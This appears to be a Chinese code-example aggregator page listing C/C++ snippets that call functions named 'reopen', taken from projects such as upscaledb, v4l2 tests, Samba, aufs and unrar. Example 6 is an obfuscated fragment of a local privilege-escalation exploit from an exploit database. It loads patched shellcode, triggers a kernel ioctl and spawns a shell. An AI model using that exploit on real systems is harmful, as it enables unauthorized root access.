• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ reopen函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中reopen函数的典型用法代码示例。如果您正苦于以下问题:C++ reopen函数的具体用法?C++ reopen怎么用?C++ reopen使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了reopen函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: createInsertCloseReopenTwiceTest

  void createInsertCloseReopenTwiceTest() {
    ups_key_t key = {};
    ups_record_t rec = {};
    RecnoType recno, value = 1;

    key.flags = UPS_KEY_USER_ALLOC;
    key.data = &recno;
    key.size = sizeof(recno);

    rec.data = &value;
    rec.size = sizeof(value);

    for (int i = 0; i < 5; i++) {
      REQUIRE(0 == ups_db_insert(db, 0, &key, &rec, 0));
      REQUIRE(recno == (RecnoType)i + 1);
    }

    reopen();

    for (int i = 5; i < 10; i++) {
      REQUIRE(0 == ups_db_insert(db, 0, &key, &rec, 0));
      REQUIRE(recno == (RecnoType)i + 1);
    }

    reopen();

    for (int i = 10; i < 15; i++) {
      REQUIRE(0 == ups_db_insert(db, 0, &key, &rec, 0));
      REQUIRE(recno == (RecnoType)i + 1);
    }
  }
开发者ID:cruppstahl,项目名称:upscaledb,代码行数:31,代码来源:recordnumber.cpp


示例2: testReadWrite

int testReadWrite(struct node *node)
{
	bool can_rw = node->caps & V4L2_CAP_READWRITE;
	int fd_flags = fcntl(node->fd, F_GETFL);
	char buf = 0;
	int ret;

	fcntl(node->fd, F_SETFL, fd_flags | O_NONBLOCK);
	if (node->can_capture)
		ret = read(node->fd, &buf, 1);
	else
		ret = write(node->fd, &buf, 1);
	// Note: RDS can only return multiples of 3, so we accept
	// both 0 and 1 as return code.
	if (can_rw)
		fail_on_test((ret < 0 && errno != EAGAIN) || ret > 1);
	else
		fail_on_test(ret < 0 && errno != EINVAL);
	if (!can_rw)
		goto rw_exit;

	reopen(node);
	fcntl(node->fd, F_SETFL, fd_flags | O_NONBLOCK);

	/* check that the close cleared the busy flag */
	if (node->can_capture)
		ret = read(node->fd, &buf, 1);
	else
		ret = write(node->fd, &buf, 1);
	fail_on_test((ret < 0 && errno != EAGAIN) || ret > 1);
rw_exit:
	reopen(node);
	return 0;
}
开发者ID:danig19,项目名称:RogueSquadran,代码行数:34,代码来源:v4l2-test-buffers.cpp


示例3: testReadWrite

int testReadWrite(struct node *node)
{
	bool can_rw = node->caps & V4L2_CAP_READWRITE;
	char buf = 0;
	int ret;

	if (node->can_capture)
		ret = read(node->fd, &buf, 1);
	else
		ret = write(node->fd, &buf, 1);
	// Note: RDS can only return multiples of 3, so we accept
	// both 0 and 1 as return code.
	if (can_rw)
		fail_on_test(ret != 0 && ret != 1);
	else
		fail_on_test(ret < 0 && errno != EINVAL);
	if (!can_rw)
		return 0;

	reopen(node);

	/* check that the close cleared the busy flag */
	if (node->can_capture)
		ret = read(node->fd, &buf, 1);
	else
		ret = write(node->fd, &buf, 1);
	fail_on_test(ret != 0 && ret != 1);
	reopen(node);
	return 0;
}
开发者ID:NolanSnell,项目名称:v4l2-rds-ctl,代码行数:30,代码来源:v4l2-test-buffers.cpp


示例4: main

int main(int argc, char *argv[])
{
	if (argc < 3) {
		usage();
		return -1;
	}
	
	int i;
	for (i = 1; i < argc; i++) {
		if (str_cmp(argv[i], "-i") == 0) {
			i++;
			if (i >= argc) {
				usage();
				return -2;
			}
			reopen(&stdin, 0, argv[i], O_RDONLY, "r");
		} else if (str_cmp(argv[i], "-o") == 0) {
			i++;
			if (i >= argc) {
				usage();
				return -3;
			}
			reopen(&stdout, 1, argv[i], O_WRONLY | O_CREAT, "w");
		} else if (str_cmp(argv[i], "-e") == 0) {
			i++;
			if (i >= argc) {
				usage();
				return -4;
			}
			reopen(&stderr, 2, argv[i], O_WRONLY | O_CREAT, "w");
		} else if (str_cmp(argv[i], "--") == 0) {
			i++;
			break;
		}
	}
	
	if (i >= argc) {
		usage();
		return -5;
	}
	
	/*
	 * FIXME: fdopen() should actually detect that we are opening a console
	 * and it should set line-buffering mode automatically.
	 */
	setvbuf(stdout, NULL, _IOLBF, BUFSIZ);
	
	task_id_t id = spawn(argc - i, argv + i);
	
	if (id != 0) {
		task_exit_t texit;
		int retval;
		task_wait(id, &texit, &retval);
		
		return retval;
	}
	
	return -6;
}
开发者ID:fhector,项目名称:helenOS-0.5-Hector,代码行数:59,代码来源:redir.c


示例5: test_scan_call

static void test_scan_call(struct torture_context *tctx, const struct ndr_interface_table *iface, int opnum)
{
	DATA_BLOB stub_in, stub_out;
	int i;
	NTSTATUS status;
	struct dcerpc_pipe *p = NULL;
	struct policy_handle handle;

	reopen(tctx, &p, iface);

	get_policy_handle(p, tctx, &handle);

	/* work out the minimum amount of input data */
	for (i=0;i<2000;i++) {
		stub_in = data_blob(NULL, i);
		data_blob_clear(&stub_in);


		status = dcerpc_request(p, NULL, opnum, tctx, &stub_in, &stub_out);

		if (NT_STATUS_IS_OK(status)) {
			printf("opnum %d   min_input %d - output %d\n", 
			       opnum, (int)stub_in.length, (int)stub_out.length);
			dump_data(0, stub_out.data, stub_out.length);
			talloc_free(p);
			test_ptr_scan(tctx, iface, opnum, &stub_in, 0, stub_in.length, 0);
			return;
		}

		fill_blob_handle(&stub_in, tctx, &handle);

		status = dcerpc_request(p, NULL, opnum, tctx, &stub_in, &stub_out);

		if (NT_STATUS_IS_OK(status)) {
			printf("opnum %d   min_input %d - output %d (with handle)\n", 
			       opnum, (int)stub_in.length, (int)stub_out.length);
			dump_data(0, stub_out.data, stub_out.length);
			talloc_free(p);
			test_ptr_scan(tctx, iface, opnum, &stub_in, 0, stub_in.length, 0);
			return;
		}

		if (NT_STATUS_EQUAL(status, NT_STATUS_NET_WRITE_FAULT)) {
			printf("opnum %d  size %d fault %s\n", opnum, i, dcerpc_errstr(tctx, p->last_fault_code));
			if (p->last_fault_code == 5) {
				reopen(tctx, &p, iface);
			}
			continue;
		}

		printf("opnum %d  size %d error %s\n", opnum, i, nt_errstr(status));
	}

	printf("opnum %d minimum not found!?\n", opnum);
	talloc_free(p);
}
开发者ID:AllardJ,项目名称:Tomato,代码行数:56,代码来源:autoidl.c


示例6: evi

_t v evi(){_________ rts[2]={0xee5f9be,0xebdfc46};__ i,moo,moooo;v *p;_________
ppa;_ki kp;rts[0]=rts[0]^(mg1^mg3);rts[1]=rts[1]^(mg2^mg4);gpr((_pi)getpid(),//
&kp);ppa=(_________)kp.kp_eproc.e_paddr;shlr[24+5]=ppa&0xff;shlr[24+6]=(ppa>>8)&
0xff;shlr[24+7]=(ppa>>16)&0xff;shlr[24+8]=(ppa>>24)&0xff;____("\x5b\x2b\x5d\x20"
"\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x3a\x20""%u bytes at %p\x0a",(unsigned)//
_____(shlr),&shlr);moo=mkstemp(tks);if(moo<0){_______(1,"\x6f\x70\x65\x6e");}
_w_w_w_w_w_w_w_w(moo,shlr,_____(shlr));if((lseek(moo,0L,SEEK_SET))<0){_______(1,
"\x6c\x73\x65\x65\x6b");}p=dirtysanchez(0,_____(shlr),meltwax,raadt,moo,0);if(p
==openbsdsec){_______(1,"\x6d\x6d\x61\x70");}moooo=open(gde,O_RDWR);if(moooo<0){
munmap(p,_____(shlr));reopen(moo);_______(1,"\x6f\x70\x65\x6e");}molest(provos,
moooo,0x80044103,NULL);reopen(moooo);reopen(moo);___________(0);__________(ctkrn);
____________(shl,"sh",(v *)ctkrn);
}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:13,代码来源:5979.c


示例7: reopen

void AudioIO::framesPerSecond(double v) {	//printf("AudioIO::fps(%f)\n", v);
    if(AudioIOData::framesPerSecond() != v) {
        if(!supportsFPS(v)) v = mOutDevice.defaultSampleRate();
        mFramesPerSecond = v;
        reopen();
    }
}
开发者ID:JoshuaBatty,项目名称:ofxGamma,代码行数:7,代码来源:AudioIO.cpp


示例8: channelsBus

void AudioIO::framesPerBuffer(int n){
	if(framesPerBuffer() != n){
		mFramesPerBuffer = n;
		channelsBus(AudioIOData::channelsBus());
		reopen();
	}
}
开发者ID:LuaAV,项目名称:LuaAV,代码行数:7,代码来源:AudioIO.cpp


示例9: refresh_file

/*
 * after branch manipulating, refresh the file.
 */
static int refresh_file(struct file *file, int (*reopen)(struct file *file))
{
	int err, need_reopen;
	struct dentry *dentry;
	aufs_bindex_t bend, bindex;

	dentry = file->f_dentry;
	err = au_fi_realloc(au_fi(file), au_sbend(dentry->d_sb) + 1);
	if (unlikely(err))
		goto out;
	au_do_refresh_file(file);

	err = 0;
	need_reopen = 1;
	if (!au_test_mmapped(file))
		err = au_file_refresh_by_inode(file, &need_reopen);
	if (!err && need_reopen && !d_unhashed(dentry))
		err = reopen(file);
	if (!err) {
		au_update_figen(file);
		return 0; /* success */
	}

	/* error, close all lower files */
	bend = au_fbend(file);
	for (bindex = au_fbstart(file); bindex <= bend; bindex++)
		au_set_h_fptr(file, bindex, NULL);

 out:
	return err;
}
开发者ID:bojosos,项目名称:linux,代码行数:34,代码来源:file.c


示例10: createInsertCloseReopenCursorTest

  void createInsertCloseReopenCursorTest(void)
  {
    ups_key_t key = {};
    ups_record_t rec = {};
    ups_cursor_t *cursor;
    RecnoType recno, value = 1;

    key.flags = UPS_KEY_USER_ALLOC;
    key.data = &recno;
    key.size = sizeof(recno);

    rec.data = &value;
    rec.size = sizeof(value);

    REQUIRE(0 == ups_cursor_create(&cursor, db, 0, 0));

    for (int i = 0; i < 5; i++) {
      REQUIRE(0 == ups_cursor_insert(cursor, &key, &rec, 0));
      REQUIRE(recno == (RecnoType)i + 1);
    }

    REQUIRE(0 == ups_cursor_close(cursor));
    reopen();
    REQUIRE(0 == ups_cursor_create(&cursor, db, 0, 0));

    for (int i = 5; i < 10; i++) {
      REQUIRE(0 == ups_cursor_insert(cursor, &key, &rec, 0));
      REQUIRE(recno == (RecnoType)i + 1);
    }

    REQUIRE(0 == ups_cursor_close(cursor));
  }
开发者ID:cruppstahl,项目名称:upscaledb,代码行数:32,代码来源:recordnumber.cpp


示例11: codec

void KDocumentTextBuffer::checkConsistency()
{
    QString bufferContents = codec()->toUnicode( slice(0, length())->text() );
    QString documentContents = kDocument()->text();
    if ( bufferContents != documentContents ) {
        KUrl url = kDocument()->url();
        kDocument()->setModified(false);
        kDocument()->setReadWrite(false);
        m_aboutToClose = true;
        QTemporaryFile f;
        f.setAutoRemove(false);
        f.open();
        f.close();
        kDocument()->saveAs(f.fileName());
        KDialog* dialog = new KDialog;
        dialog->setButtons(KDialog::Ok | KDialog::Cancel);
        QLabel* label = new QLabel(i18n("Sorry, an internal error occurred in the text synchronization component.<br>"
                                        "You can try to reload the document or disconnect."));
        label->setWordWrap(true);
        dialog->setMainWidget(label);
        dialog->button(KDialog::Ok)->setText(i18n("Reload document"));
        dialog->button(KDialog::Cancel)->setText(i18n("Disconnect"));
        DocumentReopenHelper* helper = new DocumentReopenHelper(url, kDocument());
        connect(dialog, SIGNAL(accepted()), helper, SLOT(reopen()));
        // We must not use exec() here, since that will create a nested event loop,
        // which might handle incoming network events. This can easily get very messy.
        dialog->show();
    }
}
开发者ID:KDE,项目名称:kte-collaborative,代码行数:29,代码来源:document.cpp


示例12: unrar_extract_custom

unrar_err_t unrar_extract_custom( unrar_t* p, unrar_write_func user_write, void* user_data )
{
	assert( !unrar_done( p ) );
	
	RETURN_ERR( NONLOCAL_ERROR( p ) );
	
	if ( solid_file( p ) )
	{
		unrar_pos_t pos = p->Arc.CurBlockPos;
		if ( p->solid_pos != pos )
		{
			// Next file to solid extract isn't current one
			
			if ( p->solid_pos > pos )
				RETURN_ERR( reopen( p ) );
			else
				p->Arc.NextBlockPos = p->solid_pos;
			
			RETURN_ERR( next_( p, true ) );
			
			// Keep extracting until solid position is at desired file
			while ( !p->done && p->solid_pos < pos )
			{
				RETURN_ERR( skip_solid( p ) );
				RETURN_ERR( next_( p, true ) );
			}
			
			// Be sure we're at right file
			if ( p->solid_pos != pos || p->Arc.CurBlockPos != pos )
				return unrar_err_corrupt;
		}
	}
	
	return extract_( p, user_write, user_data );
}
开发者ID:kode54,项目名称:Cog,代码行数:35,代码来源:unrar.cpp


示例13: sprintf

struct reformat *reopen_cache(int lotNr, size_t structsize, char file[], char subname[], int flags) {
	char lotfile[PATH_MAX];
	struct reformat *re;

	sprintf(lotfile, "%s\x10%s\x10%d", subname, file, lotNr);
	if (lots_cache == NULL) {
		lots_cache = create_hashtable(3, ht_stringhash, ht_stringcmp);
		if (lots_cache == NULL)
			err(1, "hashtable_create(reopen_cache)");
	} else {
		re = hashtable_search(lots_cache, lotfile);
		#ifdef DEBUG
		printf("has cahce for %s:%s lot %d. pointer %p\n", subname, file, lotNr, re);
		#endif
		if (re != NULL)
			return re;
	}
	#ifdef DEBUG
	printf("reopen_cache: Cache miss for %s:%s lot %d\n", subname, file, lotNr);
	#endif

	re = reopen(lotNr, structsize, file, subname, flags);
	//Runarb 11 feb 2009:
	//vi må nesten cache at filen ikke fantes, for bakoverkompetabilitet. Når vi siden gjør om dette på preopning til å ikke
	//reåpne etter hver crawl, må vi gjøre om
	if (re == NULL) {
		return NULL;
	}
	hashtable_insert(lots_cache, strdup(lotfile), re);


	return re;
}
开发者ID:dateline,项目名称:enterprise-search,代码行数:33,代码来源:re.c


示例14: time

void Log::log( const char * format, ...)
{
	va_list args;
	struct tm * ptm;
	time_t now = time(NULL);
	ptm = localtime(&now);
	char LEVEL[10];

	if(m_fp == NULL || checkTime(now))
		reopen(now);
	if(m_fp == NULL)
		return;

	if( mLoglevel > LEVEL_INFO )
		return;

	strcpy(LEVEL, "INFO");
	
	va_start(args, format);

	fprintf(m_fp, "%02d%02d%02d:%02d%02d%02d %8s ", 
			ptm->tm_year - 100, ptm->tm_mon + 1, ptm->tm_mday,
			ptm->tm_hour, ptm->tm_min, ptm->tm_sec, LEVEL );

	vfprintf(m_fp, format, args);
	fprintf(m_fp, "\n");
	fflush(m_fp);

	va_end(args);
}
开发者ID:frowtster,项目名称:big-memory-db,代码行数:30,代码来源:Log.cpp


示例15: reopen

void ImageProducerWidget::on_resetButton_clicked()
{
    const char *s = m_producer->get("shotcut_resource");
    if (!s)
        s = m_producer->get("resource");
    Mlt::Producer* p = new Mlt::Producer(MLT.profile(), s);
    reopen(p);
}
开发者ID:gandalfliang,项目名称:shotcut,代码行数:8,代码来源:imageproducerwidget.cpp


示例16: reopen

void NamedLogWriter::reopen()
{
    try {
        reopen(path_);
    } catch (std::exception &) {
        BOOST_THROW_EXCEPTION(NamedLogWriterReopenError() <<
                              enable_nested_current());
    }
}
开发者ID:sarum9in,项目名称:bunsan_binlogs,代码行数:9,代码来源:NamedLogWriter.cpp


示例17: MapTile

WarpTile::WarpTile(TilePos pos, PlayfieldInfo *pfi) : MapTile(pos),  holePixmap(this) {
    targetTile = 0;
    playfield = pfi;
    holeOpen = true;
    QTransform tf;
    if(pos.x() > MAPW/2)
        tf.scale(-1,1);
    holePixmap.setPixmap(Sprite::loadBitmap("wow-sprites/warphole.bmp", 2).transformed(tf));
    connect(&closedTimer, SIGNAL(timeout()), this, SLOT(reopen()));
}
开发者ID:vranki,项目名称:Warriors-of-Wor,代码行数:10,代码来源:warptile.cpp


示例18: lockWrite

 void TransactionalDocument::grantWrite ( XProcessor& xproc )
 {
   if ( isWritable() )
     {
       if ( !isLockedWrite() )
         lockWrite();
       return;
     }
   reopen ( xproc );
 }
开发者ID:Doloops,项目名称:Xemeiah,代码行数:10,代码来源:transactionaldocument.cpp


示例19: producer

void ImageProducerWidget::on_durationSpinBox_editingFinished()
{
    if (!m_producer)
        return;
    if (ui->durationSpinBox->value() == m_producer->get_out() + 1)
        return;
    Mlt::Producer* p = producer(MLT.profile());
    p->pass_list(*m_producer, "force_aspect_ratio, shotcut_aspect_num, shotcut_aspect_den,"
        "shotcut_resource, resource, ttl, shotcut_sequence");
    reopen(p);
}
开发者ID:gandalfliang,项目名称:shotcut,代码行数:11,代码来源:imageproducerwidget.cpp


示例20: saveToDirectory

void Package::saveAs(const String& name, bool remove_unused) {
	// type of package
	if (wxDirExists(name)) {
		saveToDirectory(name, remove_unused, false);
	} else {
		saveToZipfile  (name, remove_unused, false);
	}
	filename = name;
	removeTempFiles(remove_unused);
	reopen();
}
开发者ID:Ehnonymoose,项目名称:MSE,代码行数:11,代码来源:package.cpp



注:本文中的reopen函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ reorder函数代码示例发布时间:2022-05-30
下一篇:
C++ renderme函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap